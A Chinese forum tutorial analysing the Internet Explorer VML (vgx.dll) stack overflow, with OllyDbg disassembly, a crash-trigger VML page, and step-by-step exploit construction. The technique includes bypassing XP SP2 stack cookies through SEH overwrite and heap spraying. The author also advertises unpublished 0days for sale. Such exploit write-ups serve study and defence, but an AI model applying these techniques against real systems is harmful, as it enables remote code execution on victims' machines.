IEVML溢出分析过程和COOKIE保护的绕过(教学)
作者:zv(zvrop)
email:zvrop_at_163_dot_com
site:http://www.nettf.net
本文首发于邪恶八进制(http://forum.eviloctal.com)和网络技术论坛(http://bbs.nettf.net),转载请保留完整信息.
一.写在前面的话
本文是在无敌和病毒两人的强烈的求知欲要求下,我今天翘课半天来写.
其实我也是觉得既然什么都已经公开了,也没意义再保留下去,遂写出此文,以慰看官.
另外本人也是菜鸟,偶获一点心得,愿意和我一样的菜鸟们分享,高手就当指导的看吧.
所以我不并吝啬自己的技术.在此我在此引用冰狐签名上的一句话告诉某些人:"别拿技术当宝贝."
ps:本文所有注释是对下面一条代码的注释.
ps:当然本篇不是溢出基础教程,需要一点点的汇编基础和溢出的基础.另外本文所说的也不是什么新鲜的技术,写出来是作为教程给初学者看的.
ps:文章写的很初级,如果有错的地方,还请高手指正.
二.漏洞分析
我准备把从头开始分析的过程完整的写下来,所以文章可能很臭很长,但是对初学者很有帮助.
vml的这个漏洞,是没有检测缓冲区长度的一个漏洞,应该是偶然间用超过260字符的buff替代了method名字,IE报错,然后分析下去得出的利用办法.所以我们也用这种方式来探测漏洞.
先用264(这个值在发掘漏洞的时候可以自己递增)个'A'填充vml页面的method名字.
<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
我们用调试器加载ie,这里我用的是ollydbg(以下简称od).开启这个页面,马上报警"不知该如何回避地址00410041,请更改eip重新执行",看来很明显,有返回地址被覆盖.
在栈信息里也可以看到如下,此时esp的值为69450,69444,69448这两个地址原来的值是多少我们不知道.应该是被覆盖的返回地址.
0006943C 00410041 iexplore.00410041
00069440 00410041 iexplore.00410041
00069444 00410041 iexplore.00410041
00069448 00410041 iexplore.00410041
接着可以看到堆栈下面有:
00069454 0009B00C UNICODE "AAAAAAAAAAA…"
00069458 00000000
0006945C 00000000
00069460 659B8C10 返回到 659B8C10 来自 659B3260
看来溢出是发生在659b3260这个函数的调用函数上,在659b3260这个地址下硬件执行断点,用od查看内存发现这个地址就是在vgx.dll中,看来是基本上没错了.
再次启动od,加载ie,访问这个页面,很快就断在这里.(其实如果你汇编比较牛逼,可以直接看代码分析,我是不行,所以用od的储蓄每一步的执行结果,然后分析的)
下面开始枯燥的分析,希望不要睡着:
func_659b3260{
659B3260 51 PUSH ECX
659B3261 53 PUSH EBX
659B3262 56 PUSH ESI
659B3263 57 PUSH EDI
659B3264 8BF1 MOV ESI,ECX
659B3266 33FF XOR EDI,EDI
659B3268 8BDA MOV EBX,EDX
659B326A 3BF7 CMP ESI,EDI
659B326C 0F84 D1000000 JE vgx.659B3343
659B3272 66:393E CMP WORD PTR DS:[ESI],DI
659B3275 0F84 C8000000 JE vgx.659B3343
659B327B 56 PUSH ESI
//这个是获得字符串长度的函数,这里也就是返回'AAAA'在内存中的长度,单位为字,word,返回在eax中
659B327C E8 3F09F1FF CALL vgx.658C3BC0
//这里有个switch,不知道大家看出来没有,经常看汇编的人应该可以看出
//这里顺便扯一句,switch在汇编中是先计算了值,之后统一采用jmp的方式跳到case这样比较快,所以说switch和if..else串连在本质上还是有区别的.有些老师喜欢误人子弟,比如我的老师..
659B3281 83FB 07 CMP EBX,7
659B3284 0F87 B2000000 JA vgx.659B333C
659B328A FF249D 4C339B65 JMP DWORD PTR DS:[EBX*4+659B334C]
659B3291 50 PUSH EAX
659B3292 56 PUSH ESI
………..(此处省略部分代码)…..
659B332C C3 RETN
//压入字符串长度
659B332D 50 PUSH EAX
//压入字符串地址
659B332E 56 PUSH ESI
//这里也是字符串地址吧
659B332F 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14]
//看来刚才被00410041覆盖的返回地址应该是这里乐.下面重点分析这个函数
659B3333 E8 0E480200 CALL vgx.659D7B46
659B3338 8B7C24 0C MOV EDI,DWORD PTR SS:[ESP+C]
659B333C 8BC7 MOV EAX,EDI
659B333E 5F POP EDI
659B333F 5E POP ESI
659B3340 5B POP EBX
659B3341 59 POP ECX
659B3342 C3 RETN
}
func_659D7B46{
659D7B46 55 PUSH EBP
659D7B47 8BEC MOV EBP,ESP
//可以看到这里的栈框架是定死的,要是后面没有没有做长度检查,超过了210-8=208(10进制的520)个字符串的时候就会产生溢出
//后面可以看到xp_sp2系统的这里是214,多了一个是做cookie执行保护的变量.
659D7B49 81EC 10020000 SUB ESP,210
659D7B4F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
659D7B52 8321 00 AND DWORD PTR DS:[ECX],0
659D7B55 85C0 TEST EAX,EAX
659D7B57 894D FC MOV DWORD PTR SS:[EBP-4],ECX
659D7B5A 74 72 JE SHORT vgx.659D7BCE
659D7B5C 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
659D7B5F 85C9 TEST ECX,ECX
659D7B61 74 6B JE SHORT vgx.659D7BCE
659D7B63 66:8338 00 CMP WORD PTR DS:[EAX],0
659D7B67 74 65 JE SHORT vgx.659D7BCE
659D7B69 83A5 F8FDFFFF 0>AND DWORD PTR SS:[EBP-208],0
//压入字符串地址
659D7B70 56 PUSH ESI
659D7B71 898D F4FDFFFF MOV DWORD PTR SS:[EBP-20C],ECX
//压入0,应该是保存返回值,记录已经赋值了多少个字符
659D7B77 57 PUSH EDI
659D7B78 8D8D F0FDFFFF LEA ECX,DWORD PTR SS:[EBP-210]
659D7B7E 8985 F0FDFFFF MOV DWORD PTR SS:[EBP-210],EAX
659D7B84 33FF XOR EDI,EDI
//这个就是那个溢出的函数了.有些参数是在寄存器中的,也就是用fastcall方式调用,
//不过这里没有任何参数传递了210这个栈限值,这必然将导致溢出,看下面一段分析
659D7B86 E8 5FFFFFFF CALL vgx.659D7AEA
659D7B8B 85C0 TEST EAX,EAX
659D7B8D 74 34 JE SHORT vgx.659D7BC3
659D7B8F 33D2 XOR EDX,EDX
659D7B91 8BC8 MOV ECX,EAX
659D7B93 E8 DE450000 CALL vgx.659DC176
659D7B98 8BF0 MOV ESI,EAX
659D7B9A 85F6 TEST ESI,ESI
659D7B9C 7C 07 JL SHORT vgx.659D7BA5
659D7B9E 83FE 02 CMP ESI,2
659D7BA1 7F 1B JG SHORT vgx.659D7BBE
659D7BA3 0BFE OR EDI,ESI
659D7BA5 8D8D F0FDFFFF LEA ECX,DWORD PTR SS:[EBP-210]
659D7BAB E8 3AFFFFFF CALL vgx.659D7AEA
659D7BB0 85C0 TEST EAX,EAX
659D7BB2 ^ 75 DB JNZ SHORT vgx.659D7B8F
659D7BB4 83FE 02 CMP ESI,2
659D7BB7 7F 05 JG SHORT vgx.659D7BBE
659D7BB9 83FF 03 CMP EDI,3
659D7BBC 75 05 JNZ SHORT vgx.659D7BC3
659D7BBE BF 03000040 MOV EDI,40000003
659D7BC3 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
659D7BC6 8938 MOV DWORD PTR DS:[EAX],EDI
659D7BC8 5F POP EDI
659D7BC9 B0 01 MOV AL,1
659D7BCB 5E POP ESI
659D7BCC EB 02 JMP SHORT vgx.659D7BD0
659D7BCE 32C0 XOR AL,AL
659D7BD0 C9 LEAVE
//溢出将在这里返回的时候被从覆盖的esp地址(shellcode地址)处取出执行,
//特别要注意的是,这里返回后esp将+8,所以你的shellcode要放在离这个返回地址8个直接远的地方
659D7BD1 C2 0800 RETN 8
}
func_659D7AEA{
659D7AEA 8B11 MOV EDX,DWORD PTR DS:[ECX]
659D7AEC 53 PUSH EBX
659D7AED 56 PUSH ESI
659D7AEE 33F6 XOR ESI,ESI
659D7AF0 3BD6 CMP EDX,ESI
659D7AF2 57 PUSH EDI
659D7AF3 74 4A JE SHORT vgx.659D7B3F
659D7AF5 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]
659D7AF8 3B41 04 CMP EAX,DWORD PTR DS:[ECX+4]
659D7AFB 7D 42 JGE SHORT vgx.659D7B3F
659D7AFD 66:393442 CMP WORD PTR DS:[EDX+EAX*2],SI
659D7B01 74 3C JE SHORT vgx.659D7B3F
659D7B03 8D41 0C LEA EAX,DWORD PTR DS:[ECX+C]
659D7B06 8BF8 MOV EDI,EAX
659D7B08 8B51 08 MOV EDX,DWORD PTR DS:[ECX+8]
659D7B0B 8B19 MOV EBX,DWORD PTR DS:[ECX]
659D7B0D 66:8B1453 MOV DX,WORD PTR DS:[EBX+EDX*2]
659D7B11 66:85D2 TEST DX,DX
659D7B14 74 1D JE SHORT vgx.659D7B33
659D7B16 66:83FA 20 CMP DX,20
659D7B1A 75 06 JNZ SHORT vgx.659D7B22
659D7B1C 85F6 TEST ESI,ESI
659D7B1E 7F 17 JG SHORT vgx.659D7B37
659D7B20 EB 06 JMP SHORT vgx.659D7B28
//将'AAA..'串写入内存地址,这个地址是从func_659D7B46的栈框架基址-210+c开始的,也就是说这里距离func_659D7B46的返回指针有208+4=20c=524个字符.
659D7B22 66:8917 MOV WORD PTR DS:[EDI],DX
//这里递增'AAA'的地址参数
659D7B25 46 INC ESI
659D7B26 47 INC EDI
659D7B27 47 INC EDI
659D7B28 FF41 08 INC DWORD PTR DS:[ECX+8]
//可以看到这里只是做了是否完成字符串拷贝的判断,没有做长度判断.
659D7B2B 8B51 08 MOV EDX,DWORD PTR DS:[ECX+8]
659D7B2E 3B51 04 CMP EDX,DWORD PTR DS:[ECX+4]
659D7B31 ^ 7C D5 JL SHORT vgx.659D7B08
659D7B33 85F6 TEST ESI,ESI
659D7B35 7E 08 JLE SHORT vgx.659D7B3F
659D7B37 66:836471 0C 00 AND WORD PTR DS:[ECX+ESI*2+C],0
659D7B3D EB 02 JMP SHORT vgx.659D7B41
659D7B3F 33C0 XOR EAX,EAX
659D7B41 5F POP EDI
659D7B42 5E POP ESI
659D7B43 5B POP EBX
659D7B44 C3 RETN
}
好了,有了这些数据,基本上可以写溢出了.
简单的说下步骤:首先用字符串填充260个字符,这将转化为unicode字符,会变长两倍,成为520,正好覆盖了所有的栈框架,接着用一个jmpesp的地址覆盖func_659D7B46的返回指针,接着用8个0x90(nop指令)填充retn 8的距离,然后填写你的shellcode代码,也可填写跳转到shellcode的代码.
画一个示意图,结合func_659D7AEA理解:
|———|
| |– <=== ecx,也就是字符串地址
|———| |
|524 | | <== 字符串长度
|———| |
|520 | | <== 已经写入的长度
|———| |————————整个栈框架是210(528)个字符
| …. | |-
|———| | |
| …. | | | <=== 将要被写的数据
|———| | |———————-要覆盖520个字符才到达func_659D7B46的返回地址.
| …. | | |
|———| | |
|被修改 |– – <=== ebp指针的地址
|———|
|6ff15e2e | <=== func_659D7B46的返回地址,最终我们要修改的是这里
|———|
参考我在附件提供的ievml_with_2000.c,也可以直接参考nop的那个代码,基本上是一样的.
三.xp_sp2的cookie保护.
windows2000下用本文上述的说法基本可以实现溢出,不过这种方法用在winxp+sp2下就不好用了,原因是vs.net提供一种/gs的执行保护编译模式,这个模式在release版本是默认开启的,目的就是防止被缓冲区溢出,所以我们的刚才2000下使用的通用溢出.是不能实现的了.
(这里顺便插两句,cookie保护这种执行保护是针对溢出攻击的众多保护方法之一,所以要针对每种方法采用相应的解决办法,没有一种办法是可以通用解决所有的溢出保护的)
看func_659D7B46这里:
func_659D7B46{
6FF3ED46 8BFF MOV EDI,EDI
6FF3ED48 55 PUSH EBP
6FF3ED49 8BEC MOV EBP,ESP
//看到这里多了4个字节的数据
6FF3ED4B 81EC 14020000 SUB ESP,214
//就是做这个用的了,地址6FF44160处存放的是全局变量,存放一个随机的值(准确来说是用几个函数的返回值作为参数计算出的值)
6FF3ED51 A1 6041F46F MOV EAX,DWORD PTR DS:[6FF44160]
6FF3ED56 8321 00 AND DWORD PTR DS:[ECX],0
6FF3ED59 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
6FF3ED5C 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
6FF3ED5F 85C0 TEST EAX,EAX
6FF3ED61 898D ECFDFFFF MOV DWORD PTR SS:[EBP-214],ECX
6FF3ED67 74 74 JE SHORT vgx.6FF3EDDD
6FF3ED69 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
6FF3ED6C 85C9 TEST ECX,ECX
6FF3ED6E 74 6D JE SHORT vgx.6FF3EDDD
6FF3ED70 66:8338 00 CMP WORD PTR DS:[EAX],0
6FF3ED74 74 67 JE SHORT vgx.6FF3EDDD
6FF3ED76 83A5 F8FDFFFF 0>AND DWORD PTR SS:[EBP-208],0
6FF3ED7D 898D F4FDFFFF MOV DWORD PTR SS:[EBP-20C],ECX
6FF3ED83 53 PUSH EBX
6FF3ED84 8D8D F0FDFFFF LEA ECX,DWORD PTR SS:[EBP-210]
6FF3ED8A 8985 F0FDFFFF MOV DWORD PTR SS:[EBP-210],EAX
6FF3ED90 33DB XOR EBX,EBX
6FF3ED92 E8 4FFFFFFF CALL vgx.6FF3ECE6
6FF3ED97 85C0 TEST EAX,EAX
6FF3ED99 74 35 JE SHORT vgx.6FF3EDD0
6FF3ED9B 56 PUSH ESI
6FF3ED9C 6A 00 PUSH 0
6FF3ED9E 50 PUSH EAX
6FF3ED9F E8 17280000 CALL vgx.6FF415BB
6FF3EDA4 8BF0 MOV ESI,EAX
6FF3EDA6 85F6 TEST ESI,ESI
6FF3EDA8 7C 07 JL SHORT vgx.6FF3EDB1
6FF3EDAA 83FE 02 CMP ESI,2
6FF3EDAD 7F 1B JG SHORT vgx.6FF3EDCA
6FF3EDAF 0BDE OR EBX,ESI
6FF3EDB1 8D8D F0FDFFFF LEA ECX,DWORD PTR SS:[EBP-210]
6FF3EDB7 E8 2AFFFFFF CALL vgx.6FF3ECE6
6FF3EDBC 85C0 TEST EAX,EAX
6FF3EDBE ^ 75 DC JNZ SHORT vgx.6FF3ED9C
6FF3EDC0 83FE 02 CMP ESI,2
6FF3EDC3 7F 05 JG SHORT vgx.6FF3EDCA
6FF3EDC5 83FB 03 CMP EBX,3
6FF3EDC8 75 05 JNZ SHORT vgx.6FF3EDCF
6FF3EDCA BB 03000040 MOV EBX,40000003
6FF3EDCF 5E POP ESI
6FF3EDD0 8B85 ECFDFFFF MOV EAX,DWORD PTR SS:[EBP-214]
6FF3EDD6 8918 MOV DWORD PTR DS:[EAX],EBX
6FF3EDD8 B0 01 MOV AL,1
6FF3EDDA 5B POP EBX
6FF3EDDB EB 02 JMP SHORT vgx.6FF3EDDF
6FF3EDDD 32C0 XOR AL,AL
6FF3EDDF 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
//这里多了一个函数..是什么呢?下面分析
6FF3EDE2 E8 3829F9FF CALL vgx.6FED171F
6FF3EDE7 C9 LEAVE
6FF3EDE8 C2 0800 RETN 8
}
其他的我就不分析了,基本上和2000下的那个代码是一样的.下面看这个执行保护的函数
func_6FED171F{
//很明显可以看到这里对那个cookie值做了检测,如果被覆盖了,就马上转到出错流程,结束当前进程
//这里的6FF44160指向的值和上面一样,就是存放那个cookie的值.
6FED171F 3B0D 6041F46F CMP ECX,DWORD PTR DS:[6FF44160]
6FED1725 75 09 JNZ SHORT vgx.6FED1730
6FED1727 F7C1 0000FFFF TEST ECX,FFFF0000
6FED172D 75 01 JNZ SHORT vgx.6FED1730
6FED172F C3 RETN
6FED1730 E9 05000000 JMP vgx.6FED173A
……(此处省略了一些代码)….
6FED180D FF15 9C11E96F CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl>; kernel32.SetUnhandledExceptionFilter
6FED1813 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
6FED1816 50 PUSH EAX
6FED1817 FF15 9811E96F CALL DWORD PTR DS:[<&KERNEL32.UnhandledE>; kernel32.UnhandledExceptionFilter
6FED181D 68 02050000 PUSH 502
6FED1822 FF15 9411E96F CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; kernel32.GetCurrentProcess
6FED1828 50 PUSH EAX
6FED1829 FF15 9011E96F CALL DWORD PTR DS:[<&KERNEL32.TerminateP>; kernel32.TerminateProcess
}
这个cookie也就是一个存在于ebp之上的一个数值,你要覆盖函数的返回地址,肯定要经过覆盖这个值,肯定会改变这个值的,所以只要返回的时候检测一下这个值是否被修改,即可判断是否有溢出情况出现,示意图如下:
|———|
| |– <=== ecx,也就是字符串地址
|———| |
|524 | | <== 字符串长度
|———| |
|520 | | <== 已经写入的长度
|———| |————————整个栈框架是210(528)个字符
| …. | |-
|———| | |
| …. | | | <=== 将要被写的数据
|———| | |———————-要覆盖520个字符才到达func_659D7B46的返回地址.
| …. | | |
|———| | |
|被修改 |– – <== 这里是cookie的值,可以看出,你要修改ebp,要修改func_659D7B46的值,这个cookie的值也肯定要被修改.
|———|
|被修改 | <=== ebp指针的地址
|———|
|6ff15e2e | <=== func_659D7B46的返回地址
|———|
现在问题明确了,怎么绕过这个检测值呢?方法有很多.
比如可以覆盖这个cookie的值,不过需要代码中有代码会从被我们覆盖的内存区域取出数据做指针的情况.vgx中剩下的这些代码中没有这种代码.
再者因为这是个溢出,所以可以覆盖堆栈的任何地址,windows下异常处理机制也用到了栈,他们把异常处理的函数地址做成单链表保存在栈中,栈是我们可以覆盖的,我们可以用shellcode函数的地址来覆盖这个异常函数的地址,这样一来如果我们能使得程序出现异常,那么系统就会取出栈中异常函数的地址来处理异常,我们的shellcode也就可以执行了.
不过在认真的分析了溢出发生后和到达cookie检测之间的代码,发现没有任何一个可以产生异常的代码句,甚至连读取被我们覆盖区域的值的操作也没有.
不过好在还有另外一种办法.
xp下ie程序的栈地址是在00120000开始的地址到0012ffff结束,紧接着下一个段的地址是:00130000,用OD查看这个段的属性.
内存映射, 条目 4
地址=00130000
大小=00003000 (12288.)
属主= 00130000 (自身)
区段=
类型=Map 00041002
访问=R
初始访问=R
可以看到访问的权限是R,也就是只读.
那么好办了,我们可以利用已有的栈溢出可覆盖地址的特性,如果可以覆盖这个只读的地址,肯定会产生一个内存访问错误,也就是一个异常,这样一来,我们就达到了产生异常的目的.
这样我们就可以在溢出后让shellcode直接得到运行权限,让执行保护见鬼去吧.
具体的做法:
调试过程可以发现,到达溢出点的时候,ie的堆栈目前是:
0012BFD0 0012C204
0012BFD4 001EF644 UNICODE "AAAA…."
0012BFD8 00000108
0012BFDC 00000108
0012BFE0 00410041 iexplore.00410041
0012BFE4 00410041 iexplore.00410041
在0012bfe0的地方,这样我们要覆盖到00130000的地方需要 130000h – 12bfe0h = 4020h = 16414个字符,换成'AAAA…'来说明,就是我们要填充至少8000多个A才能覆盖到130000h的地址,好在这个溢出没有长度限制.8000多个就8000多个,为了保守,我们可以用10000个A来做测试.(有点-_-!!).
具体的文件我就不贴了,请参考
<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
当然这里的A是10000个,然后在xp+sp2的下面,用ie访问这个页面.为了直观的观看到异常的处理过程,我们用od在堆栈的0012ffff处下硬件写入断点,字长.
可以看到当130000被写入的时候,程序跳转到了异常处理上执行,如果我们用正确的可执行的地址覆盖异常处理程序,异常将会调用如下代码:
7C923799 55 PUSH EBP
7C92379A 8BEC MOV EBP,ESP
7C92379C FF75 0C PUSH DWORD PTR SS:[EBP+C]
7C92379F 52 PUSH EDX
7C9237A0 64:FF35 0000000>PUSH DWORD PTR FS:[0]
7C9237A7 64:8925 0000000>MOV DWORD PTR FS:[0],ESP
7C9237AE FF75 14 PUSH DWORD PTR SS:[EBP+14]
7C9237B1 FF75 10 PUSH DWORD PTR SS:[EBP+10]
7C9237B4 FF75 0C PUSH DWORD PTR SS:[EBP+C]
7C9237B7 FF75 08 PUSH DWORD PTR SS:[EBP+8]
//此处为异常处理地址,被我们的shellcode覆盖
7C9237BA 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]
//调用我们的shellcode
7C9237BD FFD1 CALL ECX
这样就取得了执行权限.
其实这样覆盖异常处理的成功率很低,可能一个系统版本的差别就导致了函数调用的差别,堆栈的差别,覆盖不到那个异常,所以有一种方法很早就有的方法适合于IE溢出(可能也仅适合IE溢出吧),因为ie溢出在溢出之前是可以申请堆内存的,这样我们可以用javascript来申请大量的堆内存,全部填充0x90字符接shellcode这样的模式,然后用随便一个已经申请了的堆内存的地址(shellcode的地址)来覆盖整个堆栈,这样无论这个异常处理在什么地址,我们都可以用正确的内存地址(shellcode地址)覆盖它.也就是milw0rm.com上那些sp2的代码.
不过这个办法也有缺陷,不同机器的堆申请地址不同,比如你用0a0a0a0a全部覆盖了栈,那么你没有申请到0a0a0a0a之前开始的堆地址,那么你的shellcode就得不到执行,昨天晚上病毒兄找我调试就是一个很好的例子.它的机器就没有从05050505开始申请堆地址,于是milw0rm.com上下载的那个代码就没办法用,我让他用0d替换了05即可执行了.看来我的人品比较好,病毒兄平时没少偷看MM洗澡..哈…
参考我在附件提供的ievml_with_xpsp2.c,也可以直接参考milw0rm.com的那个代码.
四.结束语
在前几天我和花哥,小金他们说道vml过sp2的那天晚上就调试出xp_sp2的版本,本来本想留着赚点外快,给他们清客的酒钱都定好了..不料这才几天,我还没找着买家,就已经被公开的一塌糊涂.唉..感叹到,不是自己的孩子就是不好使啊…其实说到这里是想给自己做个广告,本人长期有未公开的0day出售,不过呢,请托个熟人来向我购买,陌生人不认识的您就别来访问我了.什么才算是熟人,很简单啊,你问一个人和我的交情如何即可.好了,不说太多了.祝大家有个开心的中秋节.^_^~